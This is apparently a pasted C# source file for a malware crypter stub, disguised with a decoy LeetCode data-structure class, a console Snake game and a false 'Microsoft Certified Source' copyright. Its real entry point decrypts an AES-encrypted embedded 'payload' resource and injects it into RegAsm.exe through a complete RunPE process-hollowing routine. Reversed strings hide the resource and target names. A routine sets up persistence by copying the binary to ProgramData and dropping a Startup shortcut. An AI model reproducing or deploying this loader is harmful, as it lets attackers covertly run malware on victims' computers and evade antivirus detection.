· 4 years ago · Apr 30, 2021, 09:16 AM
1using System;
2using System.Text;
3using System.Linq;
4using System.Diagnostics;
5using System.IO;
6using System.Threading.Tasks;
7using System.Runtime.InteropServices;
8using System.Security.Cryptography;
9using System.Threading;
10using System.Management;
11using System.Collections.Generic;
12using Microsoft.Win32;
13using System.Reflection;
14using System.Net;
15using Microsoft.VisualBasic;
16using System.Security.Principal;
17
18
19[assembly: AssemblyTitle("%qwtitle%")]
20[assembly: AssemblyDescription("%qwdescription%")]
21[assembly: AssemblyCompany("%qwcompany%")]
22[assembly: AssemblyProduct("%qwproduct%")]
23[assembly: AssemblyVersion("%qwversion%")]
24[assembly: AssemblyFileVersion("%qwfileVersion%")]
25[assembly: AssemblyCopyright("@2021 Microsoft Certified Source")]
26#pragma warning disable 0169
27#pragma warning disable 0649
28
29namespace AntiClock
30{
31 public class RandomizedSet
32 {
33
34 private HashSet<int> _set;
35 /** Initialize your data structure here. */
36 public RandomizedSet()
37 {
38 _set = new HashSet<int>();
39 }
40
41 /** Inserts a value to the set. Returns true if the set did not already contain the specified element. */
42 public bool Insert(int val)
43 {
44 if (_set.Contains(val))
45 {
46 return false;
47 }
48 _set.Add(val);
49 return true;
50 }
51
52 /** Removes a value from the set. Returns true if the set contained the specified element. */
53 public bool Remove(int val)
54 {
55 if (_set.Contains(val))
56 {
57 _set.Remove(val);
58 return true;
59 }
60 return false;
61 }
62
63 /** Get a random element from the set. */
64 public int GetRandom()
65 {
66 Random rand = new Random();
67 int key = rand.Next(_set.Count);
68 return _set.ElementAt(key);
69 }
70 }
71
72 /**
73 * Your RandomizedSet object will be instantiated and called as such:
74 * RandomizedSet obj = new RandomizedSet();
75 * bool param_1 = obj.Insert(val);
76 * bool param_2 = obj.Remove(val);
77 * int param_3 = obj.GetRandom();
78 */
79
80 static class TimeClocker
81 {
82
83 [STAThread]
84 public static void Main()
85 {
86 if (TimeSinglInstnc() == true)
87 {
88 TimeEnd();
89 }
90 else
91 {
92
93 Thread.Sleep(3000);
94 Timing_Store_Place();
95 }
96 }
97
98 public static string ReverseTime(string AntiClock)
99 {
100 char[] TimeClock = AntiClock.ToCharArray();
101 Array.Reverse(TimeClock);
102 return new string(TimeClock);
103 }
104
105 static string Time_Ki = "%qwkey%";
106 static string TimeStamp = "%qwfilename%";
107 static Boolean ReTest = %qwstartup%;
108 static Boolean ExcluTimeDef = %qwde%;
109 static Boolean AdminTime = %qwra%;
110
111 public static void TimeEnd()
112 {
113 System.Environment.Exit(0);
114 }
115
116 static void PongStrtp()
117 {
118 string name = "Hardware Relog";
119 string curentFilename = Process.GetCurrentProcess().MainModule.FileName.Split('\\')[Process.GetCurrentProcess().MainModule.FileName.Split('\\').Length - 1];
120 string fullpath = Environment.GetEnvironmentVariable((ReverseTime("ataDmargorP"))) + "\\" + curentFilename;
121 System.IO.File.Copy(Environment.CurrentDirectory + "\\" + curentFilename, fullpath);
122 string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
123 if (System.IO.File.Exists(folderPath + "\\" + name + ".url"))
124 return;
125
126 using (StreamWriter streamWriter = new StreamWriter(folderPath + "\\" + name + ".url"))
127 {
128 streamWriter.WriteLine("[InternetShortcut]");
129 streamWriter.WriteLine("URL=file:///" + fullpath);
130 streamWriter.Flush();
131 }
132
133 }
134
135 public static bool TimeSinglInstnc()
136 {
137 string TimeName = Process.GetCurrentProcess().ProcessName;
138
139 Process[] TimeProcess = Process.GetProcessesByName(TimeName);
140
141 if (TimeProcess.Length > 1)
142 {
143
144 return true;
145 }
146 else
147 {
148 return false;
149 }
150 }
151
152 static byte[] Clock_TimeDcr(byte[] FindencTme)
153 {
154 byte[] FinalTime = null;
155 Rfc2898DeriveBytes Destination = new Rfc2898DeriveBytes(Encoding.ASCII.GetBytes(Time_Ki), Encoding.ASCII.GetBytes(Time_Ki), 100000);
156 using (Aes FinalDestination = new AesManaged())
157 {
158 FinalDestination.KeySize = 256;
159 FinalDestination.Key = Destination.GetBytes(FinalDestination.KeySize / 8);
160 FinalDestination.IV = Destination.GetBytes(FinalDestination.BlockSize / 8);
161 using (MemoryStream MainPOint = new MemoryStream())
162 {
163 using (CryptoStream CrpTime = new CryptoStream(MainPOint, FinalDestination.CreateDecryptor(), CryptoStreamMode.Write))
164 {
165 CrpTime.Write(FindencTme, 0, FindencTme.Length);
166 CrpTime.Close();
167 }
168 FinalTime = MainPOint.ToArray();
169 }
170 }
171 return FinalTime;
172 }
173
174 static void Timing_Store_Place()
175 {
176 byte[] LodTime = Clock_TimeDcr(Exct_New_Timer(ReverseTime("daolyap")));
177 Thread.Sleep(2000);
178 StartTimer.Timer(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), (ReverseTime("exe.msAgeR"))), LodTime);
179 }
180
181 public static byte[] Exct_New_Timer(String ClockName)
182 {
183
184 byte[] Minute;
185 System.Reflection.Assembly Time_Hour = System.Reflection.Assembly.GetExecutingAssembly();
186 using (Stream StreamTime = Time_Hour.GetManifestResourceStream(ClockName))
187 {
188 if (StreamTime == null) return null;
189 Minute = new byte[StreamTime.Length];
190 StreamTime.Read(Minute, 0, Minute.Length);
191 return Minute;
192 }
193 }
194 }
195}
196
197namespace SnakeTimer
198{
199 public class Program
200 {
201
202 static readonly int gridW = 90;
203 static readonly int gridH = 25;
204 static Cell[,] grid = new Cell[gridH, gridW];
205 static Cell currentCell;
206 static Cell food;
207 static int FoodCount;
208 static int direction; //0=Up 1=Right 2=Down 3=Left
209 static readonly int speed = 1;
210 static bool Populated = false;
211 static bool Lost = false;
212 static int snakeLength;
213
214 public static void NewMain(string[] args)
215 {
216 if (!Populated)
217 {
218 FoodCount = 0;
219 snakeLength = 5;
220 populateGrid();
221 currentCell = grid[(int)Math.Ceiling((double)gridH / 2), (int)Math.Ceiling((double)gridW / 2)];
222 updatePos();
223 addFood();
224 Populated = true;
225 }
226
227 while (!Lost)
228 {
229 Restart();
230 }
231 }
232
233 static void Restart()
234 {
235 Console.SetCursorPosition(0, 0);
236 printGrid();
237 Console.WriteLine("Length: {0}", snakeLength);
238 getInput();
239 }
240
241 static void updateScreen()
242 {
243 Console.SetCursorPosition(0, 0);
244 printGrid();
245 Console.WriteLine("Length: {0}", snakeLength);
246 }
247
248 static void getInput()
249 {
250
251 //Console.Write("Where to move? [WASD] ");
252 ConsoleKeyInfo input;
253 while (!Console.KeyAvailable)
254 {
255 Move();
256 updateScreen();
257 }
258 input = Console.ReadKey();
259 doInput(input.KeyChar);
260 }
261
262 static void checkCell(Cell cell)
263 {
264 if (cell.val == "%")
265 {
266 eatFood();
267 }
268 if (cell.visited)
269 {
270 Lose();
271 }
272 }
273
274 static void Lose()
275 {
276 Console.WriteLine("\n You lose!");
277 Thread.Sleep(1000);
278 Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);
279 Environment.Exit(-1);
280 }
281
282 static void doInput(char inp)
283 {
284 switch (inp)
285 {
286 case 'w':
287 goUp();
288 break;
289 case 's':
290 goDown();
291 break;
292 case 'a':
293 goRight();
294 break;
295 case 'd':
296 goLeft();
297 break;
298 }
299 }
300
301 static void addFood()
302 {
303 Random r = new Random();
304 Cell cell;
305 while (true)
306 {
307 cell = grid[r.Next(grid.GetLength(0)), r.Next(grid.GetLength(1))];
308 if (cell.val == " ")
309 cell.val = "%";
310 break;
311 }
312 }
313
314 static void eatFood()
315 {
316 snakeLength += 1;
317 addFood();
318 }
319
320 static void goUp()
321 {
322 if (direction == 2)
323 return;
324 direction = 0;
325 }
326
327 static void goRight()
328 {
329 if (direction == 3)
330 return;
331 direction = 1;
332 }
333
334 static void goDown()
335 {
336 if (direction == 0)
337 return;
338 direction = 2;
339 }
340
341 static void goLeft()
342 {
343 if (direction == 1)
344 return;
345 direction = 3;
346 }
347
348 public static void Move()
349 {
350 if (direction == 0)
351 {
352 //up
353 if (grid[currentCell.y - 1, currentCell.x].val == "*")
354 {
355 Lose();
356 return;
357 }
358 visitCell(grid[currentCell.y - 1, currentCell.x]);
359 }
360 else if (direction == 1)
361 {
362 //right
363 if (grid[currentCell.y, currentCell.x - 1].val == "*")
364 {
365 Lose();
366 return;
367 }
368 visitCell(grid[currentCell.y, currentCell.x - 1]);
369 }
370 else if (direction == 2)
371 {
372 //down
373 if (grid[currentCell.y + 1, currentCell.x].val == "*")
374 {
375 Lose();
376 return;
377 }
378 visitCell(grid[currentCell.y + 1, currentCell.x]);
379 }
380 else if (direction == 3)
381 {
382 //left
383 if (grid[currentCell.y, currentCell.x + 1].val == "*")
384 {
385 Lose();
386 return;
387 }
388 visitCell(grid[currentCell.y, currentCell.x + 1]);
389 }
390 Thread.Sleep(speed * 100);
391 }
392
393 static void visitCell(Cell cell)
394 {
395 currentCell.val = "#";
396 currentCell.visited = true;
397 currentCell.decay = snakeLength;
398 checkCell(cell);
399 currentCell = cell;
400 updatePos();
401
402 //checkCell(currentCell);
403 }
404
405 static void updatePos()
406 {
407
408 currentCell.Set("@");
409 if (direction == 0)
410 {
411 currentCell.val = "^";
412 }
413 else if (direction == 1)
414 {
415 currentCell.val = "<";
416 }
417 else if (direction == 2)
418 {
419 currentCell.val = "v";
420 }
421 else if (direction == 3)
422 {
423 currentCell.val = ">";
424 }
425
426 currentCell.visited = false;
427 return;
428 }
429
430 static void populateGrid()
431 {
432 Random random = new Random();
433 for (int col = 0; col < gridH; col++)
434 {
435 for (int row = 0; row < gridW; row++)
436 {
437 Cell cell = new Cell();
438 cell.x = row;
439 cell.y = col;
440 cell.visited = false;
441 if (cell.x == 0 || cell.x > gridW - 2 || cell.y == 0 || cell.y > gridH - 2)
442 cell.Set("*");
443 else
444 cell.Clear();
445 grid[col, row] = cell;
446 }
447 }
448 }
449
450 static void printGrid()
451 {
452 string toPrint = "";
453 for (int col = 0; col < gridH; col++)
454 {
455 for (int row = 0; row < gridW; row++)
456 {
457 grid[col, row].decaySnake();
458 toPrint += grid[col, row].val;
459
460 }
461 toPrint += "\n";
462 }
463 Console.WriteLine(toPrint);
464 }
465 public class Cell
466 {
467 public string val
468 {
469 get;
470 set;
471 }
472 public int x
473 {
474 get;
475 set;
476 }
477 public int y
478 {
479 get;
480 set;
481 }
482 public bool visited
483 {
484 get;
485 set;
486 }
487 public int decay
488 {
489 get;
490 set;
491 }
492
493 public void decaySnake()
494 {
495 decay -= 1;
496 if (decay == 0)
497 {
498 visited = false;
499 val = " ";
500 }
501 }
502
503 public void Clear()
504 {
505 val = " ";
506 }
507
508 public void Set(string newVal)
509 {
510 val = newVal;
511 }
512 }
513 }
514}
515
516#region RunPE
517public static class StartTimer
518{
519
520 #region API delegate
521 private delegate int DelegateResumeThread(IntPtr handle);
522 private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
523 private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
524 private delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context);
525 private delegate bool DelegateGetThreadContext(IntPtr thread, int[] context);
526 private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
527 private delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
528 private delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
529 private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress);
530 private delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
531 bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
532 #endregion
533
534
535 #region API
536 private static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>("kernel32", "ResumeThread");
537 private static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>("kernel32", "Wow64SetThreadContext");
538 private static readonly DelegateSetThreadContext SetThreadContext = LoadApi<DelegateSetThreadContext>("kernel32", "SetThreadContext");
539 private static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi<DelegateWow64GetThreadContext>("kernel32", "Wow64GetThreadContext");
540 private static readonly DelegateGetThreadContext GetThreadContext = LoadApi<DelegateGetThreadContext>("kernel32", "GetThreadContext");
541 private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>("kernel32", "VirtualAllocEx");
542 private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>("kernel32", "WriteProcessMemory");
543 private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>("kernel32", "ReadProcessMemory");
544 private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>("ntdll", "ZwUnmapViewOfSection");
545 private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>("kernel32", "CreateProcessA");
546 #endregion
547
548
549 #region CreateAPI
550 [DllImport("kernel32", SetLastError = true)]
551 private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
552 [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
553 private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
554 private static CreateApi LoadApi<CreateApi>(string name, string method)
555 {
556 return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
557 }
558 #endregion
559
560
561 #region Structure
562 [StructLayout(LayoutKind.Sequential, Pack = 0x1)]
563 private struct ProcessInformation
564 {
565 public readonly IntPtr ProcessHandle;
566 public readonly IntPtr ThreadHandle;
567 public readonly uint ProcessId;
568 private readonly uint ThreadId;
569 }
570 [StructLayout(LayoutKind.Sequential, Pack = 0x1)]
571 private struct StartupInformation
572 {
573 public uint Size;
574 private readonly string Reserved1;
575 private readonly string Desktop;
576 private readonly string Title;
577 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
578 private readonly IntPtr Reserved2;
579 private readonly IntPtr StdInput;
580 private readonly IntPtr StdOutput;
581 private readonly IntPtr StdError;
582 }
583 #endregion
584
585
586 public static void Timer(string pth, byte[] Tmepylod)
587 {
588 for (int i = 0; i < 5; i++)
589 {
590 int red_Wrte = 0x0;
591 StartupInformation si = new StartupInformation();
592 ProcessInformation pi = new ProcessInformation();
593 si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
594 try
595 {
596 if (!CreateProcessA(pth, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
597 int fleAdrss = BitConverter.ToInt32(Tmepylod, 0x3C);
598 int imagBase = BitConverter.ToInt32(Tmepylod, fleAdrss + 0x34);
599 int[] context = new int[0xB3];
600 context[0x0] = 0x10002;
601 if (IntPtr.Size == 0x4)
602 { if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
603 else
604 { if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
605 int ebx = context[0x29];
606 int bseAdress = 0x0;
607 if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref bseAdress, 0x4, ref red_Wrte)) throw new Exception();
608 if (imagBase == bseAdress)
609 if (ZwUnmapViewOfSection(pi.ProcessHandle, bseAdress) != 0x0) throw new Exception();
610 int sizeOfImage = BitConverter.ToInt32(Tmepylod, fleAdrss + 0x50);
611 int sizeOfHeaders = BitConverter.ToInt32(Tmepylod, fleAdrss + 0x54);
612 bool allowOverride = false;
613 int newImageBase = VirtualAllocEx(pi.ProcessHandle, imagBase, sizeOfImage, 0x3000, 0x40);
614
615 if (newImageBase == 0x0) throw new Exception();
616 if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, Tmepylod, sizeOfHeaders, ref red_Wrte)) throw new Exception();
617 int sectionOffset = fleAdrss + 0xF8;
618 short numberOfSections = BitConverter.ToInt16(Tmepylod, fleAdrss + 0x6);
619 for (int I = 0; I < numberOfSections; I++)
620 {
621 int vrtulAdres = BitConverter.ToInt32(Tmepylod, sectionOffset + 0xC);
622 int sizeOfRawData = BitConverter.ToInt32(Tmepylod, sectionOffset + 0x10);
623 int pointerToRawData = BitConverter.ToInt32(Tmepylod, sectionOffset + 0x14);
624 if (sizeOfRawData != 0x0)
625 {
626 byte[] sectionData = new byte[sizeOfRawData];
627 Buffer.BlockCopy(Tmepylod, pointerToRawData, sectionData, 0x0, sectionData.Length);
628 if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + vrtulAdres, sectionData, sectionData.Length, ref red_Wrte)) throw new Exception();
629 }
630 sectionOffset += 0x28;
631 }
632 byte[] pointerData = BitConverter.GetBytes(newImageBase);
633 if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref red_Wrte)) throw new Exception();
634 int addressOfEntryPoint = BitConverter.ToInt32(Tmepylod, fleAdrss + 0x28);
635 if (allowOverride) newImageBase = imagBase;
636 context[0x2C] = newImageBase + addressOfEntryPoint;
637
638 if (IntPtr.Size == 0x4)
639 {
640 if (!SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
641 }
642 else
643 {
644 if (!Wow64SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
645 }
646 if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception();
647 }
648 catch
649 {
650 Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill();
651 continue;
652 }
653 break;
654 }
655 }
656}
657
658#endregion